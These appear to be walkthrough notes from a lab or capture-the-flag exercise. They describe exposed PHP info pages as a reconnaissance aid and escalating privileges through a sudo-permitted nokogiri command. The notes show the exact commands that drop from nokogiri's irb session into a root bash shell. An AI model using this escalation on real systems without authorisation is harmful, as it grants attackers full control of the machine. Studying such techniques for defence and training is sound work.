

PHP Info Output

In a PHP software environment, the PHP info function is used to output detailed info about the PHP environment, configuration settings, installed modules, and more

PHP Info Output

If PHP info output can be accessed on a web app,
it could point malicious users to important
configuration info, loaded modules, username
info, and more

Privilege Escalation

Sudo Nokogiri

```
or CSS selectors. The nokogiri command parses a document, and  
launches an interactive ruby session (irb(1)), allowing one to  
analysing the result interactively.
```

Nokogiri is a program for parsing HTML, XML, SAX, and Reader files. Nokogiri works inside of an interactive Ruby environment (irb)

Privilege Escalation

Sudo Nokogiri

```
dyland@lask:~$ sudo nokogiri /etc/passwd  
Your document is stored in @doc ...  
irb(main):001:0> exec '/bin/bash'
```

And we are able to run system commands inside of **irb** to open an interactive shell with the command illustrated above
